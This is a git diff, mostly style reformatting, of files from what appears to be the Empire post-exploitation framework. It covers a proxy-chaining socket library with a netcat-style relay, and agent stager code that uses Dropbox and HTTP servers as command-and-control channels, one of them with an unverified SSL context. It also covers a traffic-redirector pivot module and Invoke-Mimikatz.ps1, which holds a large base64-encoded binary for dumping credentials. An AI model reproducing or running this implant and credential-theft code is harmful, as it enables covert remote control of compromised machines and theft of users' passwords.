@@ -721,7 +859,7 @@ def __negotiatesocks5(self, destaddr, destport, proxy):
boundaddr = self.__recvall(ord(resp[4:5]))
else:
self.close()
- raise GeneralProxyError((1,_generalerrors[1]))
+ raise GeneralProxyError((1, _generalerrors[1]))
boundport = struct.unpack(">H", self.__recvall(2))[0]
self.__proxysockname = (boundaddr, boundport)
if ipaddr != None:
@@ -780,7 +918,7 @@ def __negotiatesocks4(self, destaddr, destport, proxy):
if resp[0:1] != chr(0x00).encode():
# Bad data
self.close()
- raise GeneralProxyError((1,_generalerrors[1]))
+ raise GeneralProxyError((1, _generalerrors[1]))
if resp[1:2] != chr(0x5A).encode():
# Server returned an error
self.close()
@@ -790,8 +928,10 @@ def __negotiatesocks4(self, destaddr, destport, proxy):
else:
raise Socks4Error((94, _socks4errors[4]))
# Get the bound address/port
- self.__proxysockname = (socket.inet_ntoa(resp[4:]),
- struct.unpack(">H", resp[2:4])[0])
+ self.__proxysockname = (
+ socket.inet_ntoa(resp[4:]),
+ struct.unpack(">H", resp[2:4])[0],
+ )
if rmtrslv != None:
self.__proxypeername = (socket.inet_ntoa(ipaddr), destport)
else:
@@ -799,24 +939,25 @@ def __negotiatesocks4(self, destaddr, destport, proxy):
def __getproxyauthheader(self, proxy):
if proxy[P_USER] and proxy[P_PASS]:
- auth = proxy[P_USER] + ":" + proxy[P_PASS]
- return "Proxy-Authorization: Basic %s\r\n" % base64.b64encode(auth)
+ auth = proxy[P_USER] + ":" + proxy[P_PASS]
+ return "Proxy-Authorization: Basic %s\r\n" % base64.b64encode(auth)
else:
- return b""
+ return b""
def __stop_http_negotiation(self):
buf = self.__buffer
host, port, proxy = self.__negotiating
self.__buffer = self.__negotiating = None
- self.__override.remove('send')
- self.__override.remove('sendall')
+ self.__override.remove("send")
+ self.__override.remove("sendall")
return (buf, host, port, proxy)
def recv(self, count, flags=0):
if self.__negotiating:
# If the calling code tries to read before negotiating is done,
# assume this is not HTTP, bail and attempt HTTP CONNECT.
- if DEBUG: DEBUG("*** Not HTTP, failing back to HTTP CONNECT.")
+ if DEBUG:
+ DEBUG("*** Not HTTP, failing back to HTTP CONNECT.")
buf, host, port, proxy = self.__stop_http_negotiation()
self.__negotiatehttpconnect(host, port, proxy)
self.__sock.sendall(buf)
@@ -824,7 +965,7 @@ def recv(self, count, flags=0):
try:
return self.__sock.recv(count, flags)
except SSL.SysCallError:
- return ''
+ return ""
except SSL.WantReadError:
pass
@@ -832,7 +973,8 @@ def recv_into(self, buf, nbytes=0, flags=0):
if self.__negotiating:
# If the calling code tries to read before negotiating is done,
# assume this is not HTTP, bail and attempt HTTP CONNECT.
- if DEBUG: DEBUG("*** Not HTTP, failing back to HTTP CONNECT.")
+ if DEBUG:
+ DEBUG("*** Not HTTP, failing back to HTTP CONNECT.")
buf, host, port, proxy = self.__stop_http_negotiation()
self.__negotiatehttpconnect(host, port, proxy)
self.__sock.sendall(buf)
@@ -867,9 +1009,10 @@ def __negotiatehttp(self, destaddr, destport, proxy):
# SSH, telnet, FTP, SSL, ...
self.__negotiatehttpconnect(destaddr, destport, proxy)
else:
- if DEBUG: DEBUG('*** Transparent HTTP proxy mode...')
+ if DEBUG:
+ DEBUG("*** Transparent HTTP proxy mode...")
self.__negotiating = (destaddr, destport, proxy)
- self.__override.extend(['send', 'sendall'])
+ self.__override.extend(["send", "sendall"])
def __negotiatehttpproxy(self):
"""__negotiatehttp(self, destaddr, destport, proxy)
@@ -879,22 +1022,31 @@ def __negotiatehttpproxy(self):
host, port, proxy = self.__negotiating
# If our buffer is tiny, wait for data.
- if len(buf) <= 3: return
+ if len(buf) <= 3:
+ return
# If not HTTP, fall back to HTTP CONNECT.
- if buf[0:3].lower() not in (b'get', b'pos', b'hea',
- b'put', b'del', b'opt', b'pro'):
- if DEBUG: DEBUG("*** Not HTTP, failing back to HTTP CONNECT.")
+ if buf[0:3].lower() not in (
+ b"get",
+ b"pos",
+ b"hea",
+ b"put",
+ b"del",
+ b"opt",
+ b"pro",
+ ):
+ if DEBUG:
+ DEBUG("*** Not HTTP, failing back to HTTP CONNECT.")
self.__stop_http_negotiation()
self.__negotiatehttpconnect(host, port, proxy)
self.__sock.sendall(buf)
return
# Have we got the end of the headers?
- if buf.find('\r\n\r\n'.encode()) != -1:
- CRLF = b'\r\n'
- elif buf.find('\n\n'.encode()) != -1:
- CRLF = b'\n'
+ if buf.find("\r\n\r\n".encode()) != -1:
+ CRLF = b"\r\n"
+ elif buf.find("\n\n".encode()) != -1:
+ CRLF = b"\n"
else:
# Nope
return
@@ -903,18 +1055,25 @@ def __negotiatehttpproxy(self):
self.__stop_http_negotiation()
# Format the proxy request.
- host += ':%d' % port
+ host += ":%d" % port
headers_socks = buf.split(CRLF)
for hdr in headers_socks:
- if hdr.lower().startswith(b'host: '): host = hdr[6:]
- req = headers_socks[0].split(b' ', 1)
- #headers[0] = f'{req[0].decode("UTF-8")} http://{host.decode("UTF-8")}{req[1].decode("UTF-8")}'.encode('UTF-8')
- headers_raw = req[0].decode("UTF-8") + ' http://' + host.decode("UTF-8") + req[1].decode("UTF-8")
- headers_socks[0] = headers_raw.encode('UTF-8')
+ if hdr.lower().startswith(b"host: "):
+ host = hdr[6:]
+ req = headers_socks[0].split(b" ", 1)
+ # headers[0] = f'{req[0].decode("UTF-8")} http://{host.decode("UTF-8")}{req[1].decode("UTF-8")}'.encode('UTF-8')
+ headers_raw = (
+ req[0].decode("UTF-8")
+ + " http://"
+ + host.decode("UTF-8")
+ + req[1].decode("UTF-8")
+ )
+ headers_socks[0] = headers_raw.encode("UTF-8")
headers_socks[1] = self.__getproxyauthheader(proxy) + headers_socks[1]
# Send it!
- if DEBUG: DEBUG("*** Proxy request:\n%s***" % CRLF.join(headers_socks))
+ if DEBUG:
+ DEBUG("*** Proxy request:\n%s***" % CRLF.join(headers_socks))
self.__sock.sendall(CRLF.join(headers_socks))
def __negotiatehttpconnect(self, destaddr, destport, proxy):
@@ -926,15 +1085,22 @@ def __negotiatehttpconnect(self, destaddr, destport, proxy):
addr = socket.gethostbyname(destaddr)
else:
addr = destaddr
- self.__sock.sendall(("CONNECT "
- + addr + ":" + str(destport) + " HTTP/1.1\r\n"
- + self.__getproxyauthheader(proxy).decode('UTF-8')
- + "Host: " + destaddr + "\r\n\r\n"
- ).encode())
+ self.__sock.sendall(
+ (
+ "CONNECT "
+ + addr
+ + ":"
+ + str(destport)
+ + " HTTP/1.1\r\n"
+ + self.__getproxyauthheader(proxy).decode("UTF-8")
+ + "Host: "
+ + destaddr
+ + "\r\n\r\n"
+ ).encode()
+ )
# We read the response until we get "\r\n\r\n" or "\n\n"
resp = self.__recvall(1)
- while (resp.find("\r\n\r\n".encode()) == -1 and
- resp.find("\n\n".encode()) == -1):
+ while resp.find("\r\n\r\n".encode()) == -1 and resp.find("\n\n".encode()) == -1:
resp = resp + self.__recvall(1)
# We just need the first line to check if the connection
# was successful
@@ -956,8 +1122,7 @@ def __negotiatehttpconnect(self, destaddr, destport, proxy):
def __get_ca_certs(self):
return TLS_CA_CERTS
- def __negotiatessl(self, destaddr, destport, proxy,
- weak=False, anonymous=False):
+ def __negotiatessl(self, destaddr, destport, proxy, weak=False, anonymous=False):
"""__negotiatessl(self, destaddr, destport, proxy)
Negotiates an SSL session.
"""
@@ -965,7 +1130,7 @@ def __negotiatessl(self, destaddr, destport, proxy,
if not weak and not anonymous:
# This is normal, secure mode.
self_cert = proxy[P_USER] or None
- ca_certs = proxy[P_CACERTS] or self.__get_ca_certs() or None
+ ca_certs = proxy[P_CACERTS] or self.__get_ca_certs() or None
want_hosts = proxy[P_CERTS] or [proxy[P_HOST]]
try:
@@ -977,17 +1142,20 @@ def __negotiatessl(self, destaddr, destport, proxy,
ctx.load_verify_locations(ca_certs)
self.__sock.setblocking(1)
- self.__sock = SSL_Connect(ctx, self.__sock,
- connected=True, verify_names=want_hosts)
+ self.__sock = SSL_Connect(
+ ctx, self.__sock, connected=True, verify_names=want_hosts
+ )
except:
- if DEBUG: DEBUG('*** SSL problem: %s/%s/%s' % (sys.exc_info(),
- self.__sock,
- want_hosts))
+ if DEBUG:
+ DEBUG(
+ "*** SSL problem: %s/%s/%s"
+ % (sys.exc_info(), self.__sock, want_hosts)
+ )
raise
self.__encrypted = True
- if DEBUG: DEBUG('*** Wrapped %s:%s in %s' % (destaddr, destport,
- self.__sock))
+ if DEBUG:
+ DEBUG("*** Wrapped %s:%s in %s" % (destaddr, destport, self.__sock))
def __default_route(self, dest):
route = _proxyroutes.get(str(dest).lower(), [])[:]
@@ -998,22 +1166,37 @@ def __default_route(self, dest):
return route
def __do_connect(self, addrspec):
- if ':' in addrspec[0]:
- self.__sock = _orgsocket(socket.AF_INET6, self.__type, self.__proto,
- *self.__args, **self.__kwargs)
- self.__settimeout(DEFAULT_TIMEOUT)
- return self.__sock.connect(addrspec)
- else:
- try:
- self.__sock = _orgsocket(socket.AF_INET, self.__type, self.__proto,
- *self.__args, **self.__kwargs)
- self.__settimeout(DEFAULT_TIMEOUT)
- return self.__sock.connect(addrspec)
- except socket.gaierror:
- self.__sock = _orgsocket(socket.AF_INET6, self.__type, self.__proto,
- *self.__args, **self.__kwargs)
- self.__settimeout(DEFAULT_TIMEOUT)
- return self.__sock.connect(addrspec)
+ if ":" in addrspec[0]:
+ self.__sock = _orgsocket(
+ socket.AF_INET6,
+ self.__type,
+ self.__proto,
+ *self.__args,
+ **self.__kwargs
+ )
+ self.__settimeout(DEFAULT_TIMEOUT)
+ return self.__sock.connect(addrspec)
+ else:
+ try:
+ self.__sock = _orgsocket(
+ socket.AF_INET,
+ self.__type,
+ self.__proto,
+ *self.__args,
+ **self.__kwargs
+ )
+ self.__settimeout(DEFAULT_TIMEOUT)
+ return self.__sock.connect(addrspec)
+ except socket.gaierror:
+ self.__sock = _orgsocket(
+ socket.AF_INET6,
+ self.__type,
+ self.__proto,
+ *self.__args,
+ **self.__kwargs
+ )
+ self.__settimeout(DEFAULT_TIMEOUT)
+ return self.__sock.connect(addrspec)
def connect(self, destpair):
"""connect(self, despair)
@@ -1022,13 +1205,17 @@ def connect(self, destpair):
(identical to socket's connect).
To select the proxy servers use setproxy() and chainproxy().
"""
- if DEBUG: DEBUG('*** Connect: %s / %s' % (destpair, self.__proxy))
- destpair = getattr(_thread_locals, 'create_conn', destpair)
+ if DEBUG:
+ DEBUG("*** Connect: %s / %s" % (destpair, self.__proxy))
+ destpair = getattr(_thread_locals, "create_conn", destpair)
# Do a minimal input check first
- if ((not type(destpair) in (list, tuple)) or
- (len(destpair) < 2) or (type(destpair[0]) != type('')) or
- (type(destpair[1]) != int)):
+ if (
+ (not type(destpair) in (list, tuple))
+ or (len(destpair) < 2)
+ or (type(destpair[0]) != type(""))
+ or (type(destpair[1]) != int)
+ ):
raise GeneralProxyError((5, _generalerrors[5]))
if self.__proxy:
@@ -1044,7 +1231,8 @@ def connect(self, destpair):
chain = proxy_chain[:]
chain.append([PROXY_TYPE_NONE, destpair[0], destpair[1]])
- if DEBUG: DEBUG('*** Chain: %s' % (chain, ))
+ if DEBUG:
+ DEBUG("*** Chain: %s" % (chain,))
first = True
result = None
@@ -1053,7 +1241,8 @@ def connect(self, destpair):
if proxy[P_TYPE] == PROXY_TYPE_DEFAULT:
chain[0:0] = self.__default_route(default_dest)
- if DEBUG: DEBUG('*** Chain: %s' % chain)
+ if DEBUG:
+ DEBUG("*** Chain: %s" % chain)
continue
if proxy[P_PORT] != None:
@@ -1062,53 +1251,66 @@ def connect(self, destpair):
portnum = PROXY_DEFAULTS[proxy[P_TYPE] or PROXY_TYPE_NONE]
if first and proxy[P_HOST]:
- if DEBUG: DEBUG('*** Connect: %s:%s' % (proxy[P_HOST], portnum))
+ if DEBUG:
+ DEBUG("*** Connect: %s:%s" % (proxy[P_HOST], portnum))
result = self.__do_connect((proxy[P_HOST], portnum))
if chain:
- nexthop = (chain[0][P_HOST] or '', int(chain[0][P_PORT] or 0))
+ nexthop = (chain[0][P_HOST] or "", int(chain[0][P_PORT] or 0))
if proxy[P_TYPE] in PROXY_SSL_TYPES:
- if DEBUG: DEBUG('*** TLS/SSL Setup: %s' % (nexthop, ))
- self.__negotiatessl(nexthop[0], nexthop[1], proxy,
- weak=(proxy[P_TYPE] == PROXY_TYPE_SSL_WEAK),
- anonymous=(proxy[P_TYPE] == PROXY_TYPE_SSL_ANON))
+ if DEBUG:
+ DEBUG("*** TLS/SSL Setup: %s" % (nexthop,))
+ self.__negotiatessl(
+ nexthop[0],
+ nexthop[1],
+ proxy,
+ weak=(proxy[P_TYPE] == PROXY_TYPE_SSL_WEAK),
+ anonymous=(proxy[P_TYPE] == PROXY_TYPE_SSL_ANON),
+ )
if proxy[P_TYPE] in PROXY_HTTPC_TYPES:
- if DEBUG: DEBUG('*** HTTP CONNECT: %s' % (nexthop, ))
+ if DEBUG:
+ DEBUG("*** HTTP CONNECT: %s" % (nexthop,))
self.__negotiatehttpconnect(nexthop[0], nexthop[1], proxy)
elif proxy[P_TYPE] in PROXY_HTTP_TYPES:
if len(chain) > 1:
# Chaining requires HTTP CONNECT.
- if DEBUG: DEBUG('*** HTTP CONNECT: %s' % (nexthop, ))
- self.__negotiatehttpconnect(nexthop[0], nexthop[1],
- proxy)
+ if DEBUG:
+ DEBUG("*** HTTP CONNECT: %s" % (nexthop,))
+ self.__negotiatehttpconnect(nexthop[0], nexthop[1], proxy)
else:
# If we are last in the chain, do transparent magic.
- if DEBUG: DEBUG('*** HTTP PROXY: %s' % (nexthop, ))
+ if DEBUG:
+ DEBUG("*** HTTP PROXY: %s" % (nexthop,))
self.__negotiatehttp(nexthop[0], nexthop[1], proxy)
if proxy[P_TYPE] in PROXY_SOCKS5_TYPES:
- if DEBUG: DEBUG('*** SOCKS5: %s' % (nexthop, ))
+ if DEBUG:
+ DEBUG("*** SOCKS5: %s" % (nexthop,))
self.__negotiatesocks5(nexthop[0], nexthop[1], proxy)
elif proxy[P_TYPE] == PROXY_TYPE_SOCKS4:
- if DEBUG: DEBUG('*** SOCKS4: %s' % (nexthop, ))
+ if DEBUG:
+ DEBUG("*** SOCKS4: %s" % (nexthop,))
self.__negotiatesocks4(nexthop[0], nexthop[1], proxy)
elif proxy[P_TYPE] == PROXY_TYPE_NONE:
if first and nexthop[0] and nexthop[1]:
- if DEBUG: DEBUG('*** Connect: %s:%s' % nexthop)
- result = self.__do_connect(nexthop)
+ if DEBUG:
+ DEBUG("*** Connect: %s:%s" % nexthop)
+ result = self.__do_connect(nexthop)
else:
- raise GeneralProxyError((4, _generalerrors[4]))
+ raise GeneralProxyError((4, _generalerrors[4]))
first = False
- if DEBUG: DEBUG('*** Connected! (%s)' % result)
+ if DEBUG:
+ DEBUG("*** Connected! (%s)" % result)
return result
+
def wrapmodule(module):
"""wrapmodule(module)
Attempts to replace a module's socket library with a SOCKS socket.
@@ -1117,35 +1319,40 @@ def wrapmodule(module):
"""
module.socket.socket = socksocket
module.socket.create_connection = sockcreateconn
- if DEBUG: DEBUG('Wrapped: %s' % module.__name__)
+ if DEBUG:
+ DEBUG("Wrapped: %s" % module.__name__)
## Netcat-like proxy-chaining tools follow ##
-def netcat(s, i, o, keep_open=''):
- if hasattr(o, 'buffer'): o = o.buffer
+
+def netcat(s, i, o, keep_open=""):
+ if hasattr(o, "buffer"):
+ o = o.buffer
try:
in_fileno = i.fileno()
isel = [s, i]
obuf, sbuf, oselo, osels = [], [], [], []
while isel:
- in_r, out_r, err_r = select.select(isel, oselo+osels, isel, 1000)
+ in_r, out_r, err_r = select.select(isel, oselo + osels, isel, 1000)
-# print 'In:%s Out:%s Err:%s' % (in_r, out_r, err_r)
+ # print 'In:%s Out:%s Err:%s' % (in_r, out_r, err_r)
if s in in_r:
obuf.append(s.recv(4096))
oselo = [o]
if len(obuf[-1]) == 0:
- if DEBUG: DEBUG('EOF(s, in)')
+ if DEBUG:
+ DEBUG("EOF(s, in)")
isel.remove(s)
if o in out_r:
o.write(obuf[0])
if len(obuf) == 1:
if len(obuf[0]) == 0:
- if DEBUG: DEBUG('CLOSE(o)')
+ if DEBUG:
+ DEBUG("CLOSE(o)")
o.close()
- if i in isel and 'i' not in keep_open:
+ if i in isel and "i" not in keep_open:
isel.remove(i)
i.close()
else:
@@ -1158,51 +1365,60 @@ def netcat(s, i, o, keep_open=''):
sbuf.append(os.read(in_fileno, 4096))
osels = [s]
if len(sbuf[-1]) == 0:
- if DEBUG: DEBUG('EOF(i)')
+ if DEBUG:
+ DEBUG("EOF(i)")
isel.remove(i)
if s in out_r:
s.send(sbuf[0])
if len(sbuf) == 1:
if len(sbuf[0]) == 0:
- if s in isel and 's' not in keep_open:
- if DEBUG: DEBUG('CLOSE(s)')
+ if s in isel and "s" not in keep_open:
+ if DEBUG:
+ DEBUG("CLOSE(s)")
isel.remove(s)
s.close()
else:
- if DEBUG: DEBUG('SHUTDOWN(s, WR)')
+ if DEBUG:
+ DEBUG("SHUTDOWN(s, WR)")
s.shutdown(socket.SHUT_WR)
sbuf, osels = [], []
else:
sbuf.pop(0)
- for data in sbuf: s.sendall(data)
- for data in obuf: o.write(data)
+ for data in sbuf:
+ s.sendall(data)
+ for data in obuf:
+ o.write(data)
- except:
- if DEBUG: DEBUG("Disconnected: %s" % (sys.exc_info(), ))
+ except Exception:
+ if DEBUG:
+ DEBUG("Disconnected: %s" % (sys.exc_info(),))
i.close()
s.close()
o.close()
+
def __proxy_connect_netcat(hostname, port, chain, keep_open):
try:
s = socksocket(socket.AF_INET, socket.SOCK_STREAM)
for proxy in chain:
s.addproxy(*proxy)
s.connect((hostname, port))
- except:
- sys.stderr.write('Error: %s\n' % (sys.exc_info(), ))
+ except Exception:
+ sys.stderr.write("Error: %s\n" % (sys.exc_info(),))
return False
netcat(s, sys.stdin, sys.stdout, keep_open)
return True
+
def __make_proxy_chain(args):
chain = []
for arg in args:
chain.append(parseproxy(arg))
return chain
+
def DebugPrint(text):
print(text)
diff --git a/empire/server/data/agent/stagers/dropbox/comms.py b/empire/server/data/agent/stagers/dropbox/comms.py
index eb6687021..ad70b3b5c 100644
--- a/empire/server/data/agent/stagers/dropbox/comms.py
+++ b/empire/server/data/agent/stagers/dropbox/comms.py
@@ -5,70 +5,79 @@ def send_message(packets=None):
# POSTs the data to the control server.
global missedCheckins
global headers
- taskingsFolder="{{ taskings_folder }}"
- resultsFolder="{{ results_folder }}"
+ taskingsFolder = "{{ taskings_folder }}"
+ resultsFolder = "{{ results_folder }}"
data = None
- requestUri=''
+ requestUri = ""
try:
- del headers['Content-Type']
- except:
+ del headers["Content-Type"]
+ except Exception:
pass
-
if packets:
# aes_encrypt_then_hmac is in stager.py
encData = aes_encrypt_then_hmac(key, packets)
data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
- #check to see if there are any results already present
+ # check to see if there are any results already present
- headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s.txt\"}" % (resultsFolder, sessionID)
+ headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % (resultsFolder, sessionID)
try:
- pkdata = post_message('https://content.dropboxapi.com/2/files/download', data=None, headers=headers)
- except:
+ pkdata = post_message(
+ "https://content.dropboxapi.com/2/files/download",
+ data=None,
+ headers=headers,
+ )
+ except Exception:
pkdata = None
if pkdata and len(pkdata) > 0:
data = pkdata + data
- headers['Content-Type'] = "application/octet-stream"
- requestUri = 'https://content.dropboxapi.com/2/files/upload'
+ headers["Content-Type"] = "application/octet-stream"
+ requestUri = "https://content.dropboxapi.com/2/files/upload"
else:
- headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s.txt\"}" % (taskingsFolder, sessionID)
- requestUri='https://content.dropboxapi.com/2/files/download'
+ headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % (
+ taskingsFolder,
+ sessionID,
+ )
+ requestUri = "https://content.dropboxapi.com/2/files/download"
try:
resultdata = post_message(requestUri, data, headers)
- if (resultdata and len(resultdata) > 0) and requestUri.endswith('download'):
- headers['Content-Type'] = "application/json"
- del headers['Dropbox-API-Arg']
- datastring="{\"path\":\"%s/%s.txt\"}" % (taskingsFolder, sessionID)
- nothing = post_message('https://api.dropboxapi.com/2/files/delete', datastring, headers)
+ if (resultdata and len(resultdata) > 0) and requestUri.endswith("download"):
+ headers["Content-Type"] = "application/json"
+ del headers["Dropbox-API-Arg"]
+ datastring = '{"path":"%s/%s.txt"}' % (taskingsFolder, sessionID)
+ nothing = post_message(
+ "https://api.dropboxapi.com/2/files/delete", datastring, headers
+ )
- return ('200', resultdata)
+ return ("200", resultdata)
except urllib.request.Request.HTTPError as HTTPError:
# if the server is reached, but returns an error (like 404)
- return (HTTPError.code, '')
+ return (HTTPError.code, "")
except urllib.request.Request.URLError as URLerror:
# if the server cannot be reached
missedCheckins = missedCheckins + 1
- return (URLerror.reason, '')
+ return (URLerror.reason, "")
+
+ return ("", "")
- return ('', '')
def post_message(uri, data):
global headers
req = urllib.request.Request(uri)
for key, value in headers.items():
- req.add_header("%s"%(key),"%s"%(value))
+ req.add_header("%s" % (key), "%s" % (value))
if data:
req.add_data(data)
- o=urllib.request.build_opener()
+ o = urllib.request.build_opener()
o.add_handler(urllib.request.ProxyHandler(urllib.request.getproxies()))
urllib.request.install_opener(o)
- return (urllib.request.urlopen(req).read())
\ No newline at end of file
+ return urllib.request.urlopen(req).read()
diff --git a/empire/server/data/agent/stagers/dropbox/dropbox.py b/empire/server/data/agent/stagers/dropbox/dropbox.py
index 7fa440267..2efd09c1b 100644
--- a/empire/server/data/agent/stagers/dropbox/dropbox.py
+++ b/empire/server/data/agent/stagers/dropbox/dropbox.py
@@ -52,7 +52,7 @@
headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
else:
headers[headerKey] = headerValue
- except:
+ except Exception:
pass
headers['Authorization'] = "Bearer %s" % (t)
@@ -70,7 +70,7 @@
try:
# response = post_message(postURI, routingPacket+hmacData)
response = post_message("https://content.dropboxapi.com/2/files/upload", routingPacket)
-except:
+except Exception:
exit()
#(urllib2.urlopen(urllib2.Request(uri, data, headers))).read()
@@ -79,7 +79,7 @@
del headers['Content-Type']
headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_2.txt\"}" % (stagingFolder, sessionID)
raw = post_message("https://content.dropboxapi.com/2/files/download", data=None)
-except:
+except Exception:
exit()
# decrypt the server's public key and the server nonce
packet = aes_decrypt_and_verify(stagingKey, raw)
diff --git a/empire/server/data/agent/stagers/http/comms.py b/empire/server/data/agent/stagers/http/comms.py
index e49eb0413..d59ab6b82 100644
--- a/empire/server/data/agent/stagers/http/comms.py
+++ b/empire/server/data/agent/stagers/http/comms.py
@@ -33,7 +33,8 @@ def send_message(packets=None):
requestUri = server + taskURI
try:
- wrapmodule(urllib.request)
+ if proxy_list:
+ wrapmodule(urllib.request)
data = (urllib.request.urlopen(urllib.request.Request(requestUri, data, headers))).read()
return ('200', data)
@@ -55,4 +56,4 @@ def send_message(packets=None):
# update servers
server = '{{ host }}'
if server.startswith("https"):
- hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None
\ No newline at end of file
+ hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None
diff --git a/empire/server/data/agent/stagers/http/http.py b/empire/server/data/agent/stagers/http/http.py
index 811bc91f6..fc811c58f 100644
--- a/empire/server/data/agent/stagers/http/http.py
+++ b/empire/server/data/agent/stagers/http/http.py
@@ -52,7 +52,7 @@ def post_message(uri, data):
headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
else:
headers[headerKey] = headerValue
- except:
+ except Exception:
pass
# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server
@@ -68,7 +68,7 @@ def post_message(uri, data):
postURI = server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}"
# response = post_message(postURI, routingPacket+hmacData)
response = post_message(postURI, routingPacket)
-except:
+except Exception:
exit()
# decrypt the server's public key and the server nonce
diff --git a/empire/server/data/misc/inactive_modules/redirector.py b/empire/server/data/misc/inactive_modules/redirector.py
index 5edb822a2..73ed384d4 100644
--- a/empire/server/data/misc/inactive_modules/redirector.py
+++ b/empire/server/data/misc/inactive_modules/redirector.py
@@ -12,7 +12,7 @@ def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Redirector',
- 'Author': ['@harmj0y'],
+ 'Authors': ['@harmj0y'],
'Description': ('Sets the current agent to open up a port that '
'redirects all traffic to a target. If a listener '
@@ -87,7 +87,7 @@ def __init__(self, mainMenu, params=[]):
self.options[option]['Value'] = value
- def generate(self, obfuscate=False, obfuscationCommand=""):
+ def generate(self, obfuscate=False, obfuscation_command=""):
script = """
function Invoke-Redirector {
@@ -171,7 +171,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
else:
listenerName = values['Value']
# get the listener options and set them for the script
- [Name,Host,Port,CertPath,StagingKey,DefaultDelay,DefaultJitter,DefaultProfile,KillDate,WorkingHours,DefaultLostLimit,BindIP,ServerVersion] = self.mainMenu.listeners.activeListeners[listenerName]['options']
+ [Name,Host,Port,CertPath,StagingKey,DefaultDelay,DefaultJitter,DefaultProfile,KillDate,WorkingHours,DefaultLostLimit,BindIP,ServerVersion] = self.options
script += " -ConnectHost " + str(Host)
elif option.lower() != "agent":
@@ -197,5 +197,5 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
print(helpers.color("[!] Listener not set, pivot listener not added."))
return ""
if obfuscate:
- script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+ script = helpers.obfuscate(psScript=script, obfuscation_command=obfuscation_command)
return script
diff --git a/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1 b/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
index 298e34f24..a08092c7b 100644
--- a/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
+++ b/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
@@ -2720,9 +2720,9 @@ Function Main
[System.IO.Directory]::SetCurrentDirectory($pwd)
- $PEBytes64 = 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NSAVBikH6iAQZQY1IBkGKQfuIBBlBjUgHQYpB/IgEGUGNSAhBikH9iAQZRDvVcoVmgUs9//9IjVMBx0M5BARV/0EPt8xBuD4AAAAPtgJIA9dmA8hMK8d18g+3wYhLQGbB6AiIQz9IhfYPhIoAAABIi054QYvsSI1B/0iD+P13VEQPt04qQbhBAAAARTvIcjNMjUwkMEyJZCQgSIvT/xVw/g0Ai+iFwHU6/xVE/g0Ai1YISI0NwnYPAESLwOhCogAA6yCLVghIjQ1Odw8A6DGiAADrD4tWCEiNDf13DwDoIKIAACP9RYX/dA9IiwZIi/BIhcAPhXb///9Ii8v/FdH9DQDrA0GL/EiLXCRgi8dIi3wkeEiLbCRoSIt0JHBIg8RAQV9BXkFcw8zMzEiLxEiJWBBIiXAYV0iD7CCDYAgAi/LHQAwAAACASIv5SIvZSIXJdDKDo5AAAAAASIuLmAAAAEiFyXQQM9L/FX39DQBIg6OYAAAAAIX2dAtIiwNIi9hIhcB1zkSLzkiNVCQwQbgBAAAASIvP6Kj9//9Ii1wkOEiLdCRASIPEIF/DTIlEJBhMiUwkIFNVVldBVkiD7DBIjUL/SYvoSIvxSD3+//9/dge7VwAHgOtRTI10JHgz20iNev/ok/b//0yJdCQoTIvNTIvHSIlcJCBIi9ZIiwhIg8kB6BxaDACDyf+FwA9IwYXAeA5ImEg7x3cHdQ2IHDfrCIgcN7t6AAeAi8NIg8QwQV5fXl1bw8wzwMPMi9G5QAAAAEj/JcL8DQDMzEj/JYH8DQDMSIlcJAhXSIPsQEmL+UyL0UG4AQAAAPbCAnQHuAAAAMDrFYrCQSLA9ti4AAAAwBvJI8EFAAAAgEiDZCQwAEUzycHqCEmLyvfSx0QkKIAAAABBI9CDygKJVCQgi9D/Ffb7DQBIi9hIg/j/dQj/FS/8DQCJB0iLw0iLXCRQSIPEQF/DzMzMQFNIg+xASINkJCAASYvZTI1MJDD/FSr8DQCFwHUNg0wkMP//FfP7DQCJA4tEJDBIg8RAW8PMzMxAU0iD7EBIg2QkIABJi9lMjUwkMP8V6vsNAIXAdQ2DTCQw//8Vu/sNAIkDi0QkMEiDxEBbw8zMzEiJXCQIV0iD7CBIi/oz2/8Vh/sNAIXAdQv/FY37DQCJB4PL/4vDSItcJDBIg8QgX8PMzMxIiVwkCFdIg+wgSYv5RYvIRTPA/xU3+w0Ai9iD+P91CP8VUvsNAIkHi8NIi1wkMEiDxCBfw8zMzEiJXCQIV0iD7CBIi/oz2/8V2/oNAIXAdQv/FSH7DQCJB4PL/4vDSItcJDBIg8QgX8PMzMxIiVwkCEiJdCQQV0iB7EACAABIY/JIi/lIjZQkMAEAALkEAQAAM9v/FZ/6DQCFwA+EiwAAAEyNTCQgRTPASI0VAHgPAEiNjCQwAQAA/xVa+g0AhcB0akiNTCQg/xVb+g0ASI1G/7r+//9/SIvOSDvCd0JIK9FMjUQkIEwrx0iNBApIhcB0E0GKBDiEwHQLiAdI/8dIg+kBdeRIhclIjUf/SA9Fx0j32YgYG8D30CV6AAeA6wW4VwAHgPfQwegfi9hMjZwkQAIAAIvDSYtbEEmLcxhJi+Nfw8xIg+w4i0EUTYvISIHBIgEAAIlEJCBMjQVYdw8AugABAADoxvz//zPJhcAPmcGLwUiDxDjDSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPscEiLtCSoAAAASYv5TIuMJKAAAABJi+hMi/JIiXCoRTPAM9LoIP3//0iL2EiD+P90YEiNVCQ4SIvI/xVx+Q0AhcB0N0iNVCQwSI1MJDz/FT35DQCFwHQjTIvFSI1MJDBJi9b/FRj5DQCFwHQOD7dEJDhmg+AnZokH6xdIi5QkoAAAAEyLxkiLy+iv/f//SIPL/0yNX